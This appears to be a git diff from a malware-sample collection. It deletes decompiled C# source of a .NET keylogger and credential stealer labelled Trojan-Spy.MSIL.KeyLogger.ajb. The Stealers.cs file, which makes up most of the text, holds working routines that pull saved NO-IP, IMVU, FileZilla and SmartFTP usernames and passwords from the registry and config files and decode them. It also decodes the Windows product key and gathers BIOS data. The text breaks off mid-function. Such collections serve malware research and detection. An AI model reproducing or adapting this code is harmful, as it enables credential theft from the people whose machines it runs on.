Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace AHSJKHwyIUYUIYIYI8sOIioOID.My -{ - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/Resources/Resources.cs deleted file mode 100644 index 11ac4eb0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources -// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources -{ - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [DebuggerNonUserCode] - [CompilerGenerated] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources.resourceMan, (object) null)) - AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources.resourceMan = new ResourceManager("AHSJKHwyIUYUIYIYI8sOIioOID.Resources", typeof (AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources).Assembly); - return AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources.resourceCulture; - set => AHSJKHwyIUYUIYIYI8sOIioOID.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Stealers.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Stealers.cs deleted file mode 100644 index 0de042df..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Stealers.cs +++ /dev/null @@ -1,1036 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: AHSJKHwyIUYUIYIYI8sOIioOID.Stealers -// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe - -using AHSJKHwyIUYUIYIYI8sOIioOID.My; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.IO; -using System.Runtime.CompilerServices; -using System.Text; -using System.Xml; - -namespace AHSJKHwyIUYUIYIYI8sOIioOID -{ - [StandardModule] - internal sealed class Stealers - { - public static string a5tXQTpr0O8YMt7yc6KahH = "."; - private static object a8gSaJ3oCS33Sjmw87clm = RuntimeHelpers.GetObjectValue(Interaction.GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\" + Stealers.a5tXQTpr0O8YMt7yc6KahH + "\\root\\cimv2")); - public static object BiosSet = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(Interaction.GetObject("winmgmts:{impersonationLevel=impersonate}"), (Type) null, "InstancesOf", new object[1] - { - (object) "Win32_BIOS" - }, (string[]) null, (Type[]) null, (bool[]) null)); - - public static string PObuCQy99zk1pRyNfeNs() - { -label_0: - int num1; - string str1; - int num2; - try - { - int num3 = 1; - string empty1 = string.Empty; -label_1: - ProjectData.ClearProjectError(); - num1 = -2; -label_2: - num3 = 3; - string Left1 = string.Empty; -label_3: - num3 = 4; -label_4: - num3 = 5; - IEnumerator enumerator = ((IEnumerable) Stealers.BiosSet).GetEnumerator(); - goto label_46; -label_6: - num3 = 6; - object objectValue; - Left1 = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "PrimaryBIOS: ", NewLateBinding.LateGet(objectValue, (Type) null, "PrimaryBIOS", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n")); -label_7: - num3 = 7; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "Status: ", NewLateBinding.LateGet(objectValue, (Type) null, "Status", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_8: - num3 = 8; - int num4 = Information.LBound((Array) NewLateBinding.LateGet(objectValue, (Type) null, "BIOSVersion", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - int num5 = Information.UBound((Array) NewLateBinding.LateGet(objectValue, (Type) null, "BIOSVersion", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - int num6 = num4; - goto label_13; -label_9: - num3 = 9; - string Left2 = Left1; - object Left3 = Interaction.IIf(num6 == 0, (object) "BIOSVersion strings: ", (object) ""); - object Instance1 = objectValue; - object[] objArray1 = new object[1]{ (object) num6 }; - object[] Arguments1 = objArray1; - bool[] flagArray1 = new bool[1]{ true }; - bool[] CopyBack1 = flagArray1; - object Right1 = NewLateBinding.LateGet(Instance1, (Type) null, "BIOSVersion", Arguments1, (string[]) null, (Type[]) null, CopyBack1); - if (flagArray1[0]) - num6 = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray1[0]), typeof (int)); - object Right2 = Operators.ConcatenateObject(Operators.ConcatenateObject(Left3, Right1), (object) "\r\n"); - Left1 = Conversions.ToString(Operators.AddObject((object) Left2, Right2)); -label_12: - num3 = 10; - checked { ++num6; } -label_13: - if (num6 <= num5) - goto label_9; -label_14: - num3 = 11; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "Caption: ", NewLateBinding.LateGet(objectValue, (Type) null, "Caption", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_15: - num3 = 12; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "Description: ", NewLateBinding.LateGet(objectValue, (Type) null, "Description", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_16: - num3 = 13; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "Name: ", NewLateBinding.LateGet(objectValue, (Type) null, "Name", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_17: - num3 = 14; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "Manufacturer: ", NewLateBinding.LateGet(objectValue, (Type) null, "Manufacturer", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_18: - num3 = 15; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ReleaseDate: ", NewLateBinding.LateGet(objectValue, (Type) null, "ReleaseDate", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_19: - num3 = 16; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "SerialNumber: ", NewLateBinding.LateGet(objectValue, (Type) null, "SerialNumber", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_20: - num3 = 17; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "SMBIOSBIOSVersion: ", NewLateBinding.LateGet(objectValue, (Type) null, "SMBIOSBIOSVersion", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_21: - num3 = 18; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "SMBIOSMajorVersion: ", NewLateBinding.LateGet(objectValue, (Type) null, "SMBIOSMajorVersion", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_22: - num3 = 19; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "SMBIOSMinorVersion: ", NewLateBinding.LateGet(objectValue, (Type) null, "SMBIOSMinorVersion", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_23: - num3 = 20; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "SMBIOSPresent: ", NewLateBinding.LateGet(objectValue, (Type) null, "SMBIOSPresent", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_24: - num3 = 21; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "SoftwareElementID: ", NewLateBinding.LateGet(objectValue, (Type) null, "SoftwareElementID", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_25: - num3 = 22; - object Left4 = NewLateBinding.LateGet(objectValue, (Type) null, "SoftwareElementState", new object[0], (string[]) null, (Type[]) null, (bool[]) null); -label_26: - num3 = 25; - if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 0, false)) - goto label_28; -label_27: - num3 = 26; - Left1 += "SoftwareElementState:deployable\r\n"; - goto label_34; -label_28: - num3 = 28; - if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 1, false)) - goto label_30; -label_29: - num3 = 29; - Left1 += "SoftwareElementState:installable\r\n"; - goto label_34; -label_30: - num3 = 31; - if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 2, false)) - goto label_32; -label_31: - num3 = 32; - Left1 += "SoftwareElementState:executable\r\n"; - goto label_34; -label_32: - num3 = 34; - if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 3, false)) - goto label_34; -label_33: - num3 = 35; - Left1 += "SoftwareElementState:running\r\n"; -label_34: - num3 = 37; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "Version: ", NewLateBinding.LateGet(objectValue, (Type) null, "Version", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_35: - num3 = 38; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "InstallableLanguages: ", NewLateBinding.LateGet(objectValue, (Type) null, "InstallableLanguages", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_36: - num3 = 39; - Left1 = Conversions.ToString(Operators.AddObject((object) Left1, Operators.ConcatenateObject(Operators.ConcatenateObject((object) "CurrentLanguage: ", NewLateBinding.LateGet(objectValue, (Type) null, "CurrentLanguage", new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (object) "\r\n"))); -label_37: - num3 = 40; - string empty2 = string.Empty; -label_38: - num3 = 41; - int num7 = Information.LBound((Array) NewLateBinding.LateGet(objectValue, (Type) null, "ListOfLanguages", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - int num8 = Information.UBound((Array) NewLateBinding.LateGet(objectValue, (Type) null, "ListOfLanguages", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - int num9 = num7; - goto label_43; -label_39: - num3 = 42; - string Left5 = empty2; - object Instance2 = objectValue; - object[] objArray2 = new object[1]{ (object) num9 }; - object[] Arguments2 = objArray2; - bool[] flagArray2 = new bool[1]{ true }; - bool[] CopyBack2 = flagArray2; - object Left6 = NewLateBinding.LateGet(Instance2, (Type) null, "ListOfLanguages", Arguments2, (string[]) null, (Type[]) null, CopyBack2); - if (flagArray2[0]) - num9 = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray2[0]), typeof (int)); - object Right3 = Operators.ConcatenateObject(Left6, (object) "\r\n"); - empty2 = Conversions.ToString(Operators.AddObject((object) Left5, Right3)); -label_42: - num3 = 43; - checked { ++num9; } -label_43: - if (num9 <= num8) - goto label_39; -label_44: - num3 = 44; - Left1 = Left1 + "ListOfLanguages: \r\n" + empty2 + "\r\n"; -label_45: - num3 = 45; -label_46: - if (enumerator.MoveNext()) - { - objectValue = RuntimeHelpers.GetObjectValue(enumerator.Current); - goto label_6; - } - else if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); -label_49: - str1 = Left1; - goto label_56; -label_51: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num10 = num2 + 1; - num2 = 0; - switch (num10) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_6; - case 7: - goto label_7; - case 8: - goto label_8; - case 9: - goto label_9; - case 10: - goto label_12; - case 11: - goto label_14; - case 12: - goto label_15; - case 13: - goto label_16; - case 14: - goto label_17; - case 15: - goto label_18; - case 16: - goto label_19; - case 17: - goto label_20; - case 18: - goto label_21; - case 19: - goto label_22; - case 20: - goto label_23; - case 21: - goto label_24; - case 22: - goto label_25; - case 23: - case 27: - case 30: - case 33: - case 36: - case 37: - goto label_34; - case 24: - case 25: - goto label_26; - case 26: - goto label_27; - case 28: - goto label_28; - case 29: - goto label_29; - case 31: - goto label_30; - case 32: - goto label_31; - case 34: - goto label_32; - case 35: - goto label_33; - case 38: - goto label_35; - case 39: - goto label_36; - case 40: - goto label_37; - case 41: - goto label_38; - case 42: - goto label_39; - case 43: - goto label_42; - case 44: - goto label_44; - case 45: - goto label_45; - case 46: - goto label_49; - case 47: - goto label_56; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_51; - } - throw ProjectData.CreateProjectError(-2146828237); -label_56: - string str2 = str1; - if (num2 == 0) - return str2; - ProjectData.ClearProjectError(); - return str2; - } - - public static string tMvSzZe55uXc2iyPe887(string KeyPath, string ValueName) - { - object objectValue = RuntimeHelpers.GetObjectValue(MyProject.Computer.Registry.GetValue(KeyPath, ValueName, (object) 0)); - if (objectValue == null) - return "N/A"; - string str1 = ""; - int num1 = Information.LBound((Array) objectValue); - int num2 = Information.UBound((Array) objectValue); - int num3 = num1; - while (num3 <= num2) - { - str1 = str1 + " " + Conversion.Hex(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(objectValue, new object[1] - { - (object) num3 - }, (string[]) null))); - checked { ++num3; } - } - int num4 = 52; - int num5 = 67; - string[] strArray1 = new string[25] - { - "B", - "C", - "D", - "F", - "G", - "H", - "J", - "K", - "M", - "P", - "Q", - "R", - "T", - "V", - "W", - "X", - "Y", - "2", - "3", - "4", - "6", - "7", - "8", - "9", - null - }; - int num6 = 29; - int num7 = 15; - string[] strArray2 = new string[16]; - string[] strArray3 = new string[31]; - string str2 = ""; - int num8 = num4; - int num9 = num5; - int num10 = num8; - while (num10 <= num9) - { - strArray2[checked (num10 - num4)] = Conversions.ToString(NewLateBinding.LateIndexGet(objectValue, new object[1] - { - (object) num10 - }, (string[]) null)); - str2 = str2 + " " + Conversion.Hex((object) strArray2[checked (num10 - num4)]); - checked { ++num10; } - } - string Expression = ""; - int index1 = checked (num6 - 1); - while (index1 >= 0) - { - if (checked (index1 + 1) % 6 == 0) - { - strArray3[index1] = "-"; - Expression += "-"; - } - else - { - int index2 = 0; - int index3 = checked (num7 - 1); - while (index3 >= 0) - { - int num11 = checked ((int) ((long) Math.Round(unchecked ((double) index2 * 256.0)) | Conversions.ToLong(strArray2[index3]))); - strArray2[index3] = Conversions.ToString(num11 / 24); - index2 = num11 % 24; - checked { index3 += -1; } - } - strArray3[index1] = strArray1[index2]; - Expression += strArray1[index2]; - } - checked { index1 += -1; } - } - return Strings.StrReverse(Expression); - } - - public static string AITg0QnGrzdOs9gXffa5(string data) - { - string str; - try - { - Decoder decoder = new UTF8Encoding().GetDecoder(); - byte[] bytes = Convert.FromBase64String(data); - char[] chars = new char[checked (decoder.GetCharCount(bytes, 0, bytes.Length) - 1 + 1)]; - decoder.GetChars(bytes, 0, bytes.Length, chars, 0); - str = new string(chars); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return str; - } - - public static string EHW0zrPys1b9dmv0DQ8n() - { - string str1; - try - { - str1 = (string) null; - string str2 = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Vitalwerks\\DUC", "Username", (object) null)); - string data = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Vitalwerks\\DUC", "Password", (object) null)); - string text = "\r\n"; - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============NOIP=============="); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Username: " + str2); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Password: " + Stealers.AITg0QnGrzdOs9gXffa5(data)); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============================="); - MyProject.Forms.Form1.ztext.AppendText(text); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - string text = "\r\n"; - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============NOIP=============="); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("NO-IP Not Installed!"); - MyProject.Forms.Form1.ztext.AppendText(text); - ProjectData.ClearProjectError(); - } - return str1; - } - - public static object FvGaiH4cNm7zJABhqd3u(ref string hKey) - { - int num1; - object obj1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.shell")); - object[] objArray = new object[1]{ (object) hKey }; - object[] Arguments = objArray; - bool[] flagArray = new bool[1]{ true }; - bool[] CopyBack = flagArray; - object obj2 = NewLateBinding.LateGet(objectValue, (Type) null, "regread", Arguments, (string[]) null, (Type[]) null, CopyBack); - if (flagArray[0]) - hKey = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[0]), typeof (string)); - obj1 = RuntimeHelpers.GetObjectValue(obj2); - goto label_9; -label_4: - num2 = -1; - switch (num1) - { - case 2: - obj1 = (object) null; - goto label_9; - } - } - catch (Exception ex) when ( - { - // ISSUE: unable to correctly present filter - int num3; - if (ex is Exception & num1 != 0 & num3 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_4; - } - throw ProjectData.CreateProjectError(-2146828237); -label_9: - object obj3 = obj1; - if (num2 == 0) - return obj3; - ProjectData.ClearProjectError(); - return obj3; - } - - public static string a2qQ2x9HZaLOuCK4h1632(string Text) - { - object Left = (object) null; - object Counter; - object LoopForResult; - object CounterResult; - if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(Counter, (object) 1, (object) Strings.Len(Text), (object) 1, ref LoopForResult, ref CounterResult)) - { - do - { - object Right = (object) Strings.Mid(Text, Conversions.ToInteger(CounterResult), 2); - Left = Operators.ConcatenateObject(Left, (object) Strings.Chr(checked ((int) Math.Round(Conversion.Val(Operators.ConcatenateObject((object) "&h", Right)))))); - CounterResult = Operators.AddObject(CounterResult, (object) 1); - } - while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(CounterResult, LoopForResult, ref CounterResult)); - } - return Conversions.ToString(Left); - } - - public static string zBiVxuA7UnDihC1BQuyH() - { - string hKey1 = "HKEY_CURRENT_USER\\Software\\IMVU\\username\\"; - string hKey2 = "HKEY_CURRENT_USER\\Software\\IMVU\\password\\"; - string text = "\r\n"; - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============IMVU=============="); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText(Conversions.ToString(Operators.ConcatenateObject((object) "Username: ", Stealers.FvGaiH4cNm7zJABhqd3u(ref hKey1)))); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Password: " + Stealers.a2qQ2x9HZaLOuCK4h1632(Conversions.ToString(Stealers.FvGaiH4cNm7zJABhqd3u(ref hKey2)))); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============================="); - MyProject.Forms.Form1.ztext.AppendText(text); - string str; - return str; - } - - public static string mxNwfsA9ms8UKfQfQOMG() - { -label_0: - int num1; - string str1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - string file = Interaction.Environ("APPDATA") + "\\FileZilla\\recentservers.xml"; -label_2: - num3 = 3; - string str2 = Conversions.ToString(1); -label_3: - num3 = 4; - string str3 = "\r\n"; -label_4: - num3 = 5; - str2 = MyProject.Computer.FileSystem.OpenTextFileReader(file).ReadToEnd(); -label_5: - num3 = 6; - string text = (string) null; -label_6: - num3 = 7; - string[] strArray1 = str2.Split('\r'); -label_7: - num3 = 8; - str2 = (string) null; -label_8: - num3 = 9; - string[] strArray2 = strArray1; - int index = 0; - goto label_21; -label_10: - num3 = 10; - string str4; - if (!str4.Contains("")) - goto label_13; -label_11: - num3 = 11; - str4.Replace("", "").Replace("", ""); -label_12: - num3 = 12; - text = text + "Host : " + str4 + str3; -label_13: - num3 = 14; - if (!str4.Contains("")) - goto label_16; -label_14: - num3 = 15; - str4.Replace("", "").Replace("", ""); -label_15: - num3 = 16; - text = text + "Username : " + str4 + str3; -label_16: - num3 = 18; - if (!str4.Contains("")) - goto label_19; -label_17: - num3 = 19; - str4.Replace("", "").Replace("", ""); -label_18: - num3 = 20; - text = text + "Password : " + str4 + str3 + str3; -label_19: - checked { ++index; } -label_20: - num3 = 22; -label_21: - if (index < strArray2.Length) - { - str4 = strArray2[index]; - goto label_10; - } -label_22: - num3 = 23; - text = "=============FileZilla================\r\n" + text.Replace("", "").Replace("", "").Replace("", "").Replace("", "").Replace("", "").Replace("", "") + "\r\n"; -label_23: - num3 = 24; - str1 = text; -label_24: - num3 = 25; - MyProject.Forms.Form1.ztext.AppendText(text); - goto label_31; -label_26: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_10; - case 11: - goto label_11; - case 12: - goto label_12; - case 13: - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - case 18: - goto label_16; - case 19: - goto label_17; - case 20: - goto label_18; - case 21: - goto label_19; - case 22: - goto label_20; - case 23: - goto label_22; - case 24: - goto label_23; - case 25: - goto label_24; - case 26: - goto label_31; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_26; - } - throw ProjectData.CreateProjectError(-2146828237); -label_31: - string str5 = str1; - if (num2 == 0) - return str5; - ProjectData.ClearProjectError(); - return str5; - } - - public static string HiMxBxbT13r5txdIgEpI() - { - string sInhalt = Stealers.Pvv7eAN3vOX0FHUleqTg(Interaction.Environ("APPDATA") + "\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\" + FileSystem.Dir(Interaction.Environ("APPDATA") + "\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\*.xml")); - string str1 = Stealers.lIIZeYhDi94sWeuqjYma(sInhalt, "", ""); - string str2 = Stealers.lIIZeYhDi94sWeuqjYma(sInhalt, "", ""); - string Left = Stealers.lIIZeYhDi94sWeuqjYma(sInhalt, "", ""); - string str3 = Stealers.lIIZeYhDi94sWeuqjYma(sInhalt, "", ""); - string str4 = Stealers.lIIZeYhDi94sWeuqjYma(sInhalt, "", ""); - string str5; - if (Operators.CompareString(Left, "", false) != 0) - { - try - { - str5 = "Entry: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUser: " + Left + "\r\nPassword: " + str3 + " (Encrypt)"; - string text = "\r\n"; - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("============SmartFTP=============="); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Entry: " + str4); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Host: " + str2); - MyProject.Forms.Form1.ztext.AppendText(": " + str1); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("User: " + Left); - MyProject.Forms.Form1.ztext.AppendText(text); - MyProject.Forms.Form1.ztext.AppendText("Password: " + str3); - MyProject.Forms.Form1.ztext.AppendText("============================="); - MyProject.Forms.Form1.ztext.AppendText(text); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - MyProject.Forms.Form1.ztext.AppendText("============SmartFTP=============="); - MyProject.Forms.Form1.ztext.AppendText("\r\n"); - MyProject.Forms.Form1.ztext.AppendText("SmartFTP Couldn't Be Recovered!"); - MyProject.Forms.Form1.ztext.AppendText("\r\n"); - MyProject.Forms.Form1.ztext.AppendText("================================="); - ProjectData.ClearProjectError(); - } - } - return str5; - } - - public static string Pvv7eAN3vOX0FHUleqTg(string sFile) - { -label_0: - int num1; - string str1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - StreamReader streamReader = new StreamReader(sFile); -label_2: - num3 = 3; - str1 = streamReader.ReadToEnd().ToString(); - goto label_9; -label_4: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_9; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_4; - } - throw ProjectData.CreateProjectError(-2146828237); -label_9: - string str2 = str1; - if (num2 == 0) - return str2; - ProjectData.ClearProjectError(); - return str2; - } - - public static string lIIZeYhDi94sWeuqjYma(string sInhalt, string sText, string stext2) - { -label_0: - int num1; - string str1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - string[] strArray1 = Strings.Split(sInhalt, sText); -label_2: - num3 = 3; - string[] 